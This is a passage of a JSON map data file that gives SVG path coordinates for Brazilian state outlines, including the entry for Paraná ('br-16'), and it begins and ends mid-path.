127155.33 132169.00 127144.67 132169.00 127134.00C132179.67 127123.00 132190.33 127112.00 132201.00 127101.00C132190.33 127101.00 132179.67 127101.00 132169.00 127101.00C132179.67 127090.33 132190.33 127079.67 132201.00 127069.00C132190.33 127069.00 132179.67 127069.00 132169.00 127069.00C132179.67 127058.33 132190.33 127047.67 132201.00 127037.00C132190.33 127026.33 132179.67 127015.67 132169.00 127005.00C132179.67 126983.67 132190.33 126962.33 132201.00 126941.00C132190.33 126941.00 132179.67 126941.00 132169.00 126941.00C132169.00 126908.67 132169.00 126876.33 132169.00 126844.00C132158.33 126812.00 132147.67 126780.00 132137.00 126748.00C132158.33 126737.33 132179.67 126726.67 132201.00 126716.00C132190.33 126705.00 132179.67 126694.00 132169.00 126683.00C132179.67 126683.00 132190.33 126683.00 132201.00 126683.00C132201.00 126651.00 132201.00 126619.00 132201.00 126587.00C132211.67 126587.00 132222.33 126587.00 132233.00 126587.00C132233.00 126555.00 132233.00 126523.00 132233.00 126491.00C132243.67 126469.33 132254.33 126447.67 132265.00 126426.00C132275.67 126426.00 132286.33 126426.00 132297.00 126426.00C132318.67 126394.00 132340.33 126362.00 132362.00 126330.00C132372.67 126330.00 132383.33 126330.00 132394.00 126330.00C132415.33 126276.33 132436.67 126222.67 132458.00 126169.00C132458.00 126158.33 132458.00 126147.67 132458.00 126137.00C132436.16 126103.32 132413.23 126070.31 132392.11 126036.20C132382.07 126016.13 132372.03 125996.07 132362.00 125976.00C132351.33 125976.00 132340.67 125976.00 132330.00 125976.00C132330.00 125944.00 132330.00 125912.00 132330.00 125880.00C132319.00 125858.33 132308.00 125836.67 132297.00 125815.00C132286.18 125814.90 132275.36 125815.21 132264.54 125814.85C132232.69 125804.23 132200.85 125793.62 132169.00 125783.00C132147.67 125740.33 132126.33 125697.67 132105.00 125655.00C132062.00 125644.00 132019.00 125633.00 131976.00 125622.00C131954.67 125600.67 131933.33 125579.33 131912.00 125558.00C131890.33 125558.00 131868.67 125558.00 131847.00 125558.00C131825.67 125526.00 131804.33 125494.00 131783.00 125462.00C131729.33 125462.00 131675.67 125462.00 131622.00 125462.00C131611.33 125429.67 131600.67 125397.33 131590.00 125365.00C131547.00 125343.67 131504.00 125322.33 131461.00 125301.00C131461.00 125268.67 131461.00 125236.33 131461.00 125204.00C131482.67 125193.33 131504.33 125182.67 131526.00 125172.00C131526.00 125150.67 131526.00 125129.33 131526.00 125108.00C131515.18 125086.57 131504.71 125064.97 131493.66 125043.66C131440.11 124990.11 131386.55 124936.55 131333.00 124883.00C131333.00 124872.33 131333.00 124861.67 131333.00 124851.00C131311.67 124872.33 131290.33 124893.67 131269.00 124915.00C131247.33 124915.00 131225.67 124915.00 131204.00 124915.00C131182.67 124936.33 131161.33 124957.67 131140.00 124979.00C131097.00 124979.00 131054.00 124979.00 131011.00 124979.00C130989.67 124989.67 130968.33 125000.33 130947.00 125011.00C130947.00 125022.00 130947.00 125033.00 130947.00 125044.00C130904.00 125044.00 130861.00 125044.00 130818.00 125044.00C130796.67 125054.67 130775.33 125065.33 130754.00 125076.00C130754.00 125108.00 130754.00 125140.00 130754.00 125172.00C130722.00 125204.33 130690.00 125236.67 130658.00 125269.00C130636.33 125269.00 130614.67 125269.00 130593.00 125269.00C130571.67 125279.67 130550.33 125290.33 130529.00 125301.00C130493.32 125265.59 130458.02 125229.79 130422.78 125193.94C130404.54 125175.93 130386.24 125158.00 130368.00 125140.00C130368.00 125118.67 130368.00 125097.33 130368.00 125076.00C130314.33 125033.00 130260.67 124990.00 130207.00 124947.00C130196.18 124947.10 130185.36 124946.79 130174.54 124947.15C130141.93 124958.28 130108.99 124968.48 130076.60 124980.21C130056.07 124990.47 130035.53 125000.73 130015.00 125011.00C129982.67 125000.33 129950.33 124989.67 129918.00 124979.00C129864.33 124979.00 129810.67 124979.00 129757.00 124979.00C129703.67 125000.67 129650.33 125022.33 129597.00 125044.00C129575.33 125033.00 129553.67 125022.00 129532.00 125011.00C129521.33 125011.00 129510.67 125011.00 129500.00 125011.00C129478.53 125043.43 129457.27 125076.00 129435.66 125108.34C129425.11 125118.89 129414.55 125129.45 129404.00 125140.00C129404.00 125172.33 129404.00 125204.67 129404.00 125237.00C129414.67 125237.00 129425.33 125237.00 129436.00 125237.00C129446.67 125247.67 129457.33 125258.33 129468.00 125269.00C129467.85 125279.81 129468.29 125290.63 129467.78 125301.43C129457.19 125322.62 129446.59 125343.81 129436.00 125365.00C129436.00 125408.00 129436.00 125451.00 129436.00 125494.00C129425.18 125515.43 129414.71 125537.03 129403.66 125558.34C129371.44 125590.56 129339.22 125622.78 129307.00 125655.00C129296.33 125655.00 129285.67 125655.00 129275.00 125655.00C129232.00 125633.33 129189.00 125611.67 129146.00 125590.00C129124.67 125558.00 129103.33 125526.00 129082.00 125494.00C129071.33 125440.33 129060.67 125386.67 129050.00 125333.00C129007.00 125301.00 128964.00 125269.00 128921.00 125237.00C128910.33 125237.00 128899.67 125237.00 128889.00 125237.00C128878.33 125247.67 128867.67 125258.33 128857.00 125269.00C128857.00 125322.67 128857.00 125376.33 128857.00 125430.00C128835.56 125472.79 128814.26 125515.65 128792.73 125558.40C128771.15 125590.60 128749.58 125622.80 128728.00 125655.00C128696.00 125644.00 128664.00 125633.00 128632.00 125622.00C128621.33 125654.33 128610.67 125686.67 128600.00 125719.00C128557.00 125740.33 128514.00 125761.67 128471.00 125783.00C128439.00 125783.00 128407.00 125783.00 128375.00 125783.00C128342.67 125772.33 128310.33 125761.67 128278.00 125751.00C128256.67 125729.67 128235.33 125708.33 128214.00 125687.00C128181.67 125676.33 128149.33 125665.67 128117.00 125655.00C128106.33 125622.67 128095.67 125590.33 128085.00 125558.00C128063.67 125558.00 128042.33 125558.00 128021.00 125558.00C128010.33 125547.33 127999.67 125536.67 127989.00 125526.00C127978.22 125493.87 127967.70 125461.66 127956.75 125429.59C127924.50 125376.06 127892.25 125322.53 127860.00 125269.00C127838.67 125258.33 127817.33 125247.67 127796.00 125237.00C127785.33 125226.00 127774.67 125215.00 127764.00 125204.00C127731.67 125204.00 127699.33 125204.00 127667.00 125204.00C127656.33 125215.00 127645.67 125226.00 127635.00 125237.00C127645.67 125247.67 127656.33 125258.33 127667.00 125269.00C127656.36 125322.83 127645.48 125376.62 127635.00 125430.48C127635.00 125440.99 127635.00 125451.49 127635.00 125462.00C127688.67 125515.33 127742.33 125568.67 127796.00 125622.00C127796.00 125633.00 127796.00 125644.00 127796.00 125655.00C127785.33 125676.33 127774.67 125697.67 127764.00 125719.00C127753.19 125719.14 127742.37 125718.71 127731.57 125719.21C127710.05 125729.81 127688.52 125740.40 127667.00 125751.00C127613.67 125751.00 127560.33 125751.00 127507.00 125751.00C127474.13 125719.55 127442.19 125687.14 127410.00 125655.00C127378.00 125644.00 127346.00 125633.00 127314.00 125622.00C127281.67 125622.00 127249.33 125622.00 127217.00 125622.00C127195.67 125633.00 127174.33 125644.00 127153.00 125655.00C127110.00 125655.00 127067.00 125655.00 127024.00 125655.00C126981.33 125644.00 126938.67 125633.00 126896.00 125622.00C126842.17 125632.97 126788.39 125644.19 126734.52 125655.00C126713.35 125655.00 126692.17 125655.00 126671.00 125655.00C126617.33 125676.33 126563.67 125697.67 126510.00 125719.00C126435.00 125719.00 126360.00 125719.00 126285.00 125719.00C126252.67 125708.33 126220.33 125697.67 126188.00 125687.00C126145.33 125687.00 126102.67 125687.00 126060.00 125687.00C126038.33 125697.67 126016.67 125708.33 125995.00 125719.00C125952.33 125761.67 125909.67 125804.33 125867.00 125847.00C125834.67 125858.00 125802.33 125869.00 125770.00 125880.00C125738.00 125880.00 125706.00 125880.00 125674.00 125880.00C125663.33 125869.00 125652.67 125858.00 125642.00 125847.00C125609.67 125847.00 125577.33 125847.00 125545.00 125847.00C125491.33 125825.67 125437.67 125804.33 125384.00 125783.00C125373.18 125783.10 125362.36 125782.79 125351.54 125783.15C125316.56 125794.39 125282.07 125807.24 125246.73 125817.30C125206.82 125827.19 125166.91 125837.10 125127.00 125847.00C125052.00 125847.00 124977.00 125847.00 124902.00 125847.00C124869.90 125868.80 124837.67 125890.41 124805.66 125912.34C124795.11 125922.89 124784.55 125933.45 124774.00 125944.00C124763.00 125976.00 124752.00 126008.00 124741.00 126040.00C124752.00 126061.67 124763.00 126083.33 124774.00 126105.00C124774.00 126115.67 124774.00 126126.33 124774.00 126137.00C124741.10 126168.64 124708.83 126200.93 124676.78 126233.43C124655.52 126276.29 124634.26 126319.14 124613.00 126362.00C124613.00 126405.00 124613.00 126448.00 124613.00 126491.00C124634.33 126523.00 124655.67 126555.00 124677.00 126587.00C124666.33 126640.67 124655.67 126694.33 124645.00 126748.00C124666.33 126801.67 124687.67 126855.33 124709.00 126909.00C124709.00 126951.67 124709.00 126994.33 124709.00 127037.00C124687.67 127080.00 124666.33 127123.00 124645.00 127166.00C124634.33 127176.67 124623.67 127187.33 124613.00 127198.00C124591.33 127198.00 124569.67 127198.00 124548.00 127198.00C124451.67 127133.67 124355.33 127069.33 124259.00 127005.00C124248.33 126994.33 124237.67 126983.67 124227.00 126973.00C124237.60 126789.50 124248.76 126606.02 124258.99 126422.50C124258.66 126390.02 124259.74 126357.50 124258.38 126325.06C124247.91 126241.04 124237.47 126157.02 124227.00 126073.00C124204.76 126017.78 124183.51 125962.14 124160.62 125907.19C124150.76 125887.12 124140.87 125867.06 124131.00 125847.00C124087.86 125836.23 124044.66 125825.73 124001.57 125814.78C123980.38 125804.19 123959.19 125793.59 123938.00 125783.00C123895.00 125783.00 123852.00 125783.00 123809.00 125783.00C123798.09 125794.63 123785.58 125804.90 123775.76 125817.46C123732.40 125904.61 123688.35 125991.44 123645.42 126078.81C123603.62 126173.21 123561.81 126267.60 123520.00 126362.00C123498.18 126383.40 123476.53 126404.97 123454.60 126426.27C123390.40 126469.18 123326.20 126512.09 123262.00 126555.00C123262.00 126565.67 123262.00 126576.33 123262.00 126587.00C123251.19 126586.85 123240.37 126587.29 123229.57 126586.78C123208.20 126576.20 123186.99 126565.30 123165.53 126554.91C123111.85 126544.30 123058.23 126533.46 123004.52 126523.00C122994.01 126523.00 122983.51 126523.00 122973.00 126523.00C122930.00 126458.67 122887.00 126394.33 122844.00 126330.00C122843.90 126308.51 122844.20 126287.03 122843.85 126265.54C122832.58 126232.53 122822.68 126198.99 122810.50 126166.33C122757.34 126070.88 122704.17 125975.44 122651.00 125880.00C122651.00 125794.00 122651.00 125708.00 122651.00 125622.00C122640.33 125600.67 122629.67 125579.33 122619.00 125558.00C122619.00 125504.33 122619.00 125450.67 122619.00 125397.00C122640.67 125311.33 122662.33 125225.67 122684.00 125140.00C122705.33 125118.67 122726.67 125097.33 122748.00 125076.00C122780.00 125076.00 122812.00 125076.00 122844.00 125076.00C122865.67 125065.33 122887.33 125054.67 122909.00 125044.00C122909.00 125001.00 122909.00 124958.00 122909.00 124915.00C122898.33 124904.33 122887.67 124893.67 122877.00 124883.00C122861.18 124882.67 122845.09 124884.41 122829.61 124880.12C122781.08 124870.41 122732.54 124860.70 122684.00 124851.00C122651.67 124861.67 122619.33 124872.33 122587.00 124883.00C122555.00 124904.33 122523.00 124925.67 122491.00 124947.00C122458.67 124957.67 122426.33 124968.33 122394.00 124979.00C122265.17 124968.35 122136.35 124957.59 122007.52 124947.00C121975.68 124947.00 121943.84 124947.00 121912.00 124947.00C121859.08 124894.01 121805.08 124842.08 121753.14 124788.12C121747.02 124780.53 121744.05 124771.01 121739.29 124762.57C121721.86 124727.71 121704.43 124692.86 121687.00 124658.00C121651.55 124646.71 121616.57 124633.90 121580.79 124623.70C121541.19 124613.81 121501.60 124603.90 121462.00 124594.00C121451.33 124604.67 121440.67 124615.33 121430.00 124626.00C121397.51 124626.08 121365.02 124625.84 121332.53 124626.12C121288.60 124637.32 121244.45 124647.69 121200.66 124659.43C121169.77 124669.62 121138.88 124679.80 121108.00 124690.00C121108.00 124700.67 121108.00 124711.33 121108.00 124722.00C120979.33 124722.00 120850.67 124722.00 120722.00 124722.00C120668.17 124711.36 120614.38 124700.48 120560.52 124690.00C120485.52 124690.05 120410.52 124689.89 120335.52 124690.08C120271.68 124700.72 120207.84 124711.36 120144.00 124722.00C120111.67 124743.33 120079.33 124764.67 120047.00 124786.00C119982.67 124786.00 119918.33 124786.00 119854.00 124786.00C119830.16 124774.56 119807.07 124761.49 119782.68 124751.26C119699.45 124720.17 119616.23 124689.09 119533.00 124658.00C119447.00 124668.67 119361.00 124679.33 119275.00 124690.00C119253.67 124679.33 119232.33 124668.67 119211.00 124658.00C119189.67 124658.00 119168.33 124658.00 119147.00 124658.00C119093.33 124604.33 119039.67 124550.67 118986.00 124497.00C118964.57 124486.18 118942.97 124475.70 118921.65 124464.66C118910.77 124454.11 118899.88 124443.55 118889.00 124433.00C118825.00 124433.00 118761.00 124433.00 118697.00 124433.00C118664.67 124443.67 118632.33 124454.33 118600.00 124465.00C118589.33 124465.00 118578.67 124465.00 118568.00 124465.00C118557.33 124454.33 118546.67 124443.67 118536.00 124433.00C118493.00 124422.33 118450.00 124411.67 118407.00 124401.00C118375.00 124401.00 118343.00 124401.00 118311.00 124401.00C118268.00 124422.33 118225.00 124443.67 118182.00 124465.00C118117.67 124443.67 118053.33 124422.33 117989.00 124401.00C117946.33 124411.67 117903.67 124422.33 117861.00 124433.00C117850.00 124433.00 117839.00 124433.00 117828.00 124433.00C117806.67 124422.33 117785.33 124411.67 117764.00 124401.00C117732.00 124401.00 117700.00 124401.00 117668.00 124401.00C117668.00 124379.33 117668.00 124357.67 117668.00 124336.00C117635.67 124325.33 117603.33 124314.67 117571.00 124304.00C117506.67 124229.00 117442.33 124154.00 117378.00 124079.00C117313.10 124057.08 117247.84 124036.12 117183.02 124014.01C117162.34 124003.67 117141.67 123993.34 117121.00 123983.00C117078.10 124004.54 117035.10 124025.87 116992.00 124047.00C116960.00 124047.00 116928.00 124047.00 116896.00 124047.00C116874.57 124057.82 116852.97 124068.29 116831.66 124079.34C116810.10 124100.56 116788.55 124121.78 116767.00 124143.00C116713.67 124143.00 116660.33 124143.00 116607.00 124143.00C116595.28 124165.39 116584.68 124188.41 116572.22 124210.38C116540.81 124252.25 116509.40 124294.12 116478.00 124336.00C116456.57 124346.82 116434.97 124357.29 116413.66 124368.34C116392.05 124390.06 116370.22 124411.56 116348.75 124433.42C116316.83 124486.94 116284.92 124540.47 116253.00 124594.00C116242.19 124594.14 116231.37 124593.71 116220.57 124594.21C116199.05 124604.81 116177.52 124615.40 116156.00 124626.00C116145.18 124626.09 116134.35 124625.82 116123.53 124626.13C116043.94 124648.47 115964.65 124671.94 115884.85 124693.52C115803.90 124713.68 115722.95 124733.84 115642.00 124754.00C115620.67 124754.00 115599.33 124754.00 115578.00 124754.00C115578.00 124764.67 115578.00 124775.33 115578.00 124786.00C115545.67 124807.67 115513.33 124829.33 115481.00 124851.00C115438.33 124861.67 115395.67 124872.33 115353.00 124883.00C115309.30 124924.96 115266.96 124968.29 115224.00 125011.00C115159.67 125011.00 115095.33 125011.00 115031.00 125011.00C115031.00 125032.67 115031.00 125054.33 115031.00 125076.00C114998.90 125097.47 114966.67 125118.74 114934.66 125140.34C114913.10 125161.56 114891.55 125182.78 114870.00 125204.00C114838.00 125204.00 114806.00 125204.00 114774.00 125204.00C114774.00 125215.00 114774.00 125226.00 114774.00 125237.00C114720.33 125312.00 114666.67 125387.00 114613.00 125462.00C114601.37 125439.15 114590.97 125415.64 114578.49 125393.24C114558.00 125362.49 114537.49 125331.75 114517.00 125301.00C114527.67 125290.33 114538.33 125279.67 114549.00 125269.00C114559.67 125236.67 114570.33 125204.33 114581.00 125172.00C114581.00 125129.33 114581.00 125086.67 114581.00 125044.00C114559.67 124990.33 114538.33 124936.67 114517.00 124883.00C114549.00 124808.00 114581.00 124733.00 114613.00 124658.00C114613.00 124625.67 114613.00 124593.33 114613.00 124561.00C114591.16 124527.65 114568.21 124495.00 114547.11 124461.20C114537.07 124441.14 114527.03 124421.07 114517.00 124401.00C114517.00 124304.33 114517.00 124207.67 114517.00 124111.00C114495.33 124089.67 114473.67 124068.33 114452.00 124047.00C114452.00 124036.33 114452.00 124025.67 114452.00 124015.00z"},"br-16":{"name":"Paraná","path":"M97540.00 151634.00C97550.66 151623.33 97561.34 151612.67 97572.00 151602.00C97572.00 151580.67 97572.00 151559.33 97572.00 151538.00C97603.85 151473.84 97635.58 151409.62 97667.70 151345.60C97689.33 151313.31 97711.26 151281.22 97733.00 151249.00C97765.00 151227.33 97797.00 151205.67 97829.00 151184.00C97872.04 151130.25 97915.14 151076.55 97958.15 151022.78C97979.53 150990.59 98001.14 150958.54 98022.37 150926.26C98043.58 150883.50 98064.79 150840.75 98086.00 150798.00C98097.00 150734.00 98108.00 150670.00 98119.00 150606.00C98140.34 150573.67 98161.66 150541.33 98183.00 150509.00C98193.67 150477.00 98204.33 150445.00 98215.00 150413.00C98236.34 150380.67 98257.66 150348.33 98279.00 150316.00C98300.67 150316.00 98322.33 150316.00 98344.00 150316.00C98354.67 150294.67 98365.33 150273.33 98376.00 150252.00C98365.33 150209.00 98354.67 150166.00 98344.00 150123.00C98333.00 150101.67 98322.00 150080.33 98311.00 150059.00C98289.66 150037.67 98268.34 150016.33 98247.00 149995.00C98236.33 149973.33 98225.67 149951.67 98215.00 149930.00C98225.67 149908.67 98236.33 149887.33 98247.00 149866.00C98236.33 149834.00 98225.67 149802.00 98215.00 149770.00C98215.00 149737.67 98215.00 149705.33 98215.00 149673.00C98247.00 149587.33 98279.00 149501.67 98311.00 149416.00C98311.00 149351.67 98311.00 149287.33 98311.00 149223.00C98332.67 149180.00 98354.33 149137.00 98376.00 149094.00C98408.30 148965.32 98440.07 148836.50 98472.09 148707.75C98515.07 148579.51 98558.30 148451.34 98601.00 148323.00C98622.33 148312.00 98643.67 148301.00 98665.00 148290.00C98675.82 148268.19 98686.91 148246.52 98697.55 148224.63C98719.15 148170.99 98740.95 148117.43 98762.42 148063.74C98773.25 148031.50 98783.78 147999.17 98794.79 147967.00C98815.86 147914.00 98836.93 147861.00 98858.00 147808.00C98868.66 147690.24 98879.38 147572.49 98890.00 147454.73C98890.00 147433.15 98890.00 147411.58 98890.00 147390.00C98868.54 147314.40 98846.92 147238.84 98825.56 147163.22C98815.04 147120.81 98804.52 147078.41 98794.00 147036.00C98815.33 146961.00 98836.67 146886.00 98858.00 146811.00C98901.00 146768.33 98944.00 146725.67 98987.00 146683.00C99019.00 146640.00 99051.00 146597.00 99083.00 146554.00C99104.49 146500.10 99125.77 146446.11 99147.38 146392.26C99158.25 146371.17 99169.13 146350.09 99180.00 146329.00C99158.33 146243.33 99136.67 146157.67 99115.00 146072.00C99093.66 146039.67 99072.34 146007.33 99051.00 145975.00C98997.33 145921.67 98943.67 145868.33 98890.00 145815.00C98879.33 145782.67 98868.67 145750.33 98858.00 145718.00C98858.00 145653.67 98858.00 145589.33 98858.00 145525.00C98836.67 145471.67 98815.33 145418.33 98794.00 145365.00C98794.00 145343.33 98794.00 145321.67 98794.00 145300.00C98783.34 145289.33 98772.66 145278.67 98762.00 145268.00C98783.33 145225.00 98804.67 145182.00 98826.00 145139.00C98868.67 145107.00 98911.33 145075.00 98954.00 145043.00C98986.41 144999.95 99018.73 144956.83 99051.19 144913.81C99061.79 144903.21 99072.40 144892.60 99083.00 144882.00C99093.75 144881.96 99104.51 144882.09 99115.26 144881.94C99158.17 144871.29 99201.09 144860.65 99244.00 144850.00C99361.66 144764.33 99479.34 144678.67 99597.00 144593.00C99661.34 144560.67 99725.66 144528.33 99790.00 144496.00C99822.33 144464.00 99854.67 144432.00 99887.00 144400.00C99897.68 144378.58 99908.46 144357.20 99919.09 144335.75C99951.39 144239.17 99983.69 144142.58 100016.00 144046.00C100016.00 144003.33 100016.00 143960.67 100016.00 143918.00C100005.00 143885.67 99994.00 143853.33 99983.00 143821.00C99994.00 143799.67 100005.00 143778.33 100016.00 143757.00C100005.00 143746.33 99994.00 143735.67 99983.00 143725.00C99994.00 143692.58 100005.11 143660.19 100016.04 143627.74C100026.70 143563.49 100037.35 143499.25 100048.00 143435.00C100080.00 143381.67 100112.00 143328.33 100144.00 143275.00C100144.13 143263.58 100143.73 143252.13 100144.21 143240.72C100154.81 143177.15 100165.40 143113.57 100176.00 143050.00C100186.83 143017.44 100197.35 142984.75 100208.38 142952.26C100219.25 142931.08 100230.28 142909.97 100241.06 142888.74C100251.75 142845.39 100262.70 142802.10 100273.21 142758.72C100283.81 142694.81 100294.40 142630.91 100305.00 142567.00C100326.33 142502.67 100347.67 142438.33 100369.00 142374.00C100369.00 142309.67 100369.00 142245.33 100369.00 142181.00C100412.00 142106.00 100455.00 142031.00 100498.00 141956.00C100498.00 141945.33 100498.00 141934.67 100498.00 141924.00C100519.33 141913.33 100540.67 141902.67 100562.00 141892.00C100572.67 141881.33 100583.33 141870.67 100594.00 141860.00C100637.00 141870.67 100680.00 141881.33 100723.00 141892.00C100808.67 141849.00 100894.33 141806.00 100980.00 141763.00C101076.33 141698.67 101172.67 141634.33 101269.00 141570.00C101344.33 141548.67 101419.67 141527.33 101495.00 141506.00C101505.71 141495.25 101516.50 141484.58 101527.16 141473.78C101580.77 141398.85 101634.39 141323.93 101688.00 141249.00C101709.33 141206.00 101730.67 141163.00 101752.00 141120.00C101752.00 141109.33 101752.00 141098.67 101752.00 141088.00C101773.35 141034.24 101794.77 140980.52 101816.07 140926.74C101837.38 140851.83 101858.69 140776.91 101880.00 140702.00C101923.00 140637.67 101966.00 140573.33 102009.00 140509.00C102009.00 140487.67 102009.00 140466.33 102009.00 140445.00C102052.00 140402.00 102095.00 140359.00 102138.00 140316.00C102138.00 140112.67 102138.00 139909.33 102138.00 139706.00C102170.00 139663.00 102202.00 139620.00 102234.00 139577.00C102244.67 139534.00 102255.33 139491.00 102266.00 139448.00C102298.60 139426.57 102331.06 139404.92 102363.74 139383.63C102384.82 139373.09 102405.91 139362.55 102427.00 139352.00C102448.33 139330.67 102469.67 139309.33 102491.00 139288.00C102491.00 139277.00 102491.00 139266.00 102491.00 139255.00C102512.67 139223.00 102534.33 139191.00 102556.00 139159.00C102599.05 139137.54 102642.00 139115.86 102685.13 139094.55C102738.42 139073.03 102791.71 139051.52 102845.00 139030.00C102898.67 138998.00 102952.33 138966.00 103006.00 138934.00C103038.00 138923.33 103070.00 138912.67 103102.00 138902.00C103134.33 138869.67 103166.67 138837.33 103199.00 138805.00C103199.00 138794.33 103199.00 138783.67 103199.00 138773.00C103209.75 138772.96 103220.51 138773.09 103231.26 138772.94C103273.84 138762.29 103316.42 138751.65 103359.00 138741.00C103380.67 138708.67 103402.33 138676.33 103424.00 138644.00C103434.67 138633.33 103445.33 138622.67 103456.00 138612.00C103499.17 138590.41 103542.31 138568.76 103585.76 138547.75C103713.93 138505.11 103841.92 138461.93 103970.00 138419.00C103981.00 138419.00 103992.00 138419.00 104003.00 138419.00C104003.00 138408.33 104003.00 138397.67 104003.00 138387.00C104067.00 138387.00 104131.00 138387.00 104195.00 138387.00C104216.36 138366.41 104237.58 138345.68 104258.42 138324.57C104269.68 138313.32 104280.95 138302.08 104292.16 138290.79C104367.11 138194.19 104442.05 138097.60 104517.00 138001.00C104527.67 138001.00 104538.33 138001.00 104549.00 138001.00C104581.33 137947.67 104613.67 137894.33 104646.00 137841.00C104667.48 137905.28 104688.84 137969.61 104710.00 138034.00C104731.33 138001.67 104752.67 137969.33 104774.00 137937.00C104817.00 137926.33 104860.00 137915.67 104903.00 137905.00C104939.92 137868.13 104976.82 137831.25 105013.31 137793.96C105019.41 137787.94 105025.22 137781.51 105031.51 137775.75C105053.00 137765.17 105074.50 137754.58 105096.00 137744.00C105096.00 137733.33 105096.00 137722.67 105096.00 137712.00C105138.67 137690.67 105181.33 137669.33 105224.00 137648.00C105235.00 137637.33 105246.00 137626.67 105257.00 137616.00C105332.00 137605.00 105407.00 137594.00 105482.00 137583.00C105514.00 137594.00 105546.00 137605.00 105578.00 137616.00C105653.00 137669.33 105728.00 137722.67 105803.00 137776.00C105824.33 137787.00 105845.67 137798.00 105867.00 137809.00C105920.67 137787.33 105974.33 137765.67 106028.00 137744.00C106071.00 137744.00 106114.00 137744.00 106157.00 137744.00C106167.67 137754.67 106178.33 137765.33 106189.00 137776.00C106232.00 137787.00 106275.00 137798.00 106318.00 137809.00C106360.67 137830.33 106403.33 137851.67 106446.00 137873.00C106478.33 137873.00 106510.67 137873.00 106543.00 137873.00C106607.33 137851.67 106671.67 137830.33 106736.00 137809.00C106832.51 137744.60 106928.94 137680.05 107025.50 137615.74C107046.67 137604.83 107067.83 137593.92 107089.00 137583.00C107099.67 137583.00 107110.33 137583.00 107121.00 137583.00C107142.67 137615.33 107164.33 137647.67 107186.00 137680.00C107228.67 137723.00 107271.33 137766.00 107314.00 137809.00C107324.67 137809.00 107335.33 137809.00 107346.00 137809.00C107367.73 137819.73 107389.51 137830.37 107411.22 137841.15C107443.15 137862.42 107475.07 137883.72 107507.00 137905.00C107517.67 137905.00 107528.33 137905.00 107539.00 137905.00C107592.67 137873.00 107646.33 137841.00 107700.00 137809.00C107721.33 137809.00 107742.67 137809.00 107764.00 137809.00C107764.00 137798.00 107764.00 137787.00 107764.00 137776.00C107785.67 137776.00 107807.33 137776.00 107829.00 137776.00C107839.67 137787.00 107850.33 137798.00 107861.00 137809.00C107871.67 137809.00 107882.33 137809.00 107893.00 137809.00C107914.72 137819.79 107936.33 137830.82 107958.13 137841.45C108011.42 137862.63 108064.71 137883.81 108118.00 137905.00C108193.00 137905.00 108268.00 137905.00 108343.00 137905.00C108375.33 137915.67 108407.67 137926.33 108440.00 137937.00C108461.33 137915.67 108482.67 137894.33 108504.00 137873.00C108525.43 137862.33 108546.79 137851.52 108568.26 137840.94C108611.17 137830.29 108654.09 137819.65 108697.00 137809.00C108707.70 137819.75 108718.51 137830.41 108729.15 137841.22C108750.43 137873.15 108771.72 137905.07 108793.00 137937.00C108793.00 137990.67 108793.00 138044.33 108793.00 138098.00C108803.67 138098.00 108814.33 138098.00 108825.00 138098.00C108870.62 138075.27 108916.39 138052.84 108961.92 138029.93C108980.69 138020.26 108999.43 138010.50 109018.26 138000.94C109061.17 137990.29 109104.09 137979.65 109147.00 137969.00C109136.33 137904.67 109125.67 137840.33 109115.00 137776.00C109115.04 137765.25 109114.91 137754.49 109115.06 137743.74C109125.71 137701.16 109136.35 137658.58 109147.00 137616.00C109147.06 137604.92 109146.89 137593.83 109147.08 137582.75C109157.72 137550.83 109168.36 137518.92 109179.00 137487.00C109200.74 137454.95 109222.38 137422.82 109244.19 137390.81C109254.79 137379.87 109265.40 137368.94 109276.00 137358.00C109297.33 137347.33 109318.67 137336.67 109340.00 137326.00C109350.67 137326.00 109361.33 137326.00 109372.00 137326.00C109393.75 137336.96 109415.65 137347.65 109437.32 137358.79C109490.54 137390.87 109543.77 137422.93 109597.00 137455.00C109650.67 137455.00 109704.33 137455.00 109758.00 137455.00C109801.00 137465.67 109844.00 137476.33 109887.00 137487.00C109940.33 137519.00 109993.67 137551.00 110047.00 137583.00C110079.33 137583.00 110111.67 137583.00 110144.00 137583.00C110208.51 137636.88 110273.15 137690.60 110337.57 137744.57C110357.01 137763.91 110376.36 137783.33 110395.31 137803.14C110418.37 137826.60 110441.81 137849.68 110465.00 137873.00C110497.33 137883.67 110529.67 137894.33 110562.00 137905.00C110572.75 137904.95 110583.51 137905.09 110594.26 137904.93C110712.17 137872.94 110830.09 137840.98 110948.00 137809.00C110969.33 137819.67 110990.67 137830.33 111012.00 137841.00C111022.67 137841.00 111033.33 137841.00 111044.00 137841.00C111054.67 137851.67 111065.33 137862.33 111076.00 137873.00C111097.67 137873.00 111119.33 137873.00 111141.00 137873.00C111141.04 137883.75 111140.91 137894.51 111141.06 137905.26C111151.71 137948.17 111162.35 137991.09 111173.00 138034.00C111183.67 138055.33 111194.33 138076.67 111205.00 138098.00C111237.00 138098.00 111269.00 138098.00 111301.00 138098.00C111333.33 138076.67 111365.67 138055.33 111398.00 138034.00C111473.00 138034.00 111548.00 138034.00 111623.00 138034.00C111644.40 138044.73 111665.85 138055.35 111687.21 138066.16C111730.14 138098.11 111773.07 138130.05 111816.00 138162.00C111848.23 138172.83 111880.59 138183.36 111912.75 138194.38C111934.17 138205.25 111955.58 138216.13 111977.00 138227.00C111987.67 138216.00 111998.33 138205.00 112009.00 138194.00C112051.67 138183.33 112094.33 138172.67 112137.00 138162.00C112147.67 138172.67 112158.33 138183.33 112169.00 138194.00C112190.67 138194.00 112212.33 138194.00 112234.00 138194.00C112276.67 138172.67 112319.33 138151.33 112362.00 138130.00C112373.00 138130.00 112384.00 138130.00 112395.00 138130.00C112427.00 138087.00 112459.00 138044.00 112491.00 138001.00C112523.00 138001.00 112555.00 138001.00 112587.00 138001.00C112630.00 138022.67 112673.00 138044.33 112716.00 138066.00C112737.33 138066.00 112758.67 138066.00 112780.00 138066.00C112801.67 138055.33 112823.33 138044.67 112845.00 138034.00C112887.67 138044.67 112930.33 138055.33 112973.00 138066.00C112994.75 138066.04 113016.51 138065.91 113038.26 138066.06C113080.84 138076.71 113123.42 138087.35 113166.00 138098.00C113176.75 138097.94 113187.50 138098.11 113198.25 138097.92C113230.50 138087.28 113262.75 138076.64 113295.00 138066.00C113316.33 138076.67 113337.67 138087.33 113359.00 138098.00C113380.33 138119.33 113401.67 138140.67 113423.00 138162.00C113434.00 138162.00 113445.00 138162.00 113456.00 138162.00C113466.67 138205.00 113477.33 138248.00 113488.00 138291.00C113520.00 138312.33 113552.00 138333.67 113584.00 138355.00C113594.75 138355.06 113605.50 138354.89 113616.25 138355.08C113648.73 138365.88 113681.33 138376.39 113713.74 138387.37C113734.90 138397.97 113756.09 138408.49 113777.22 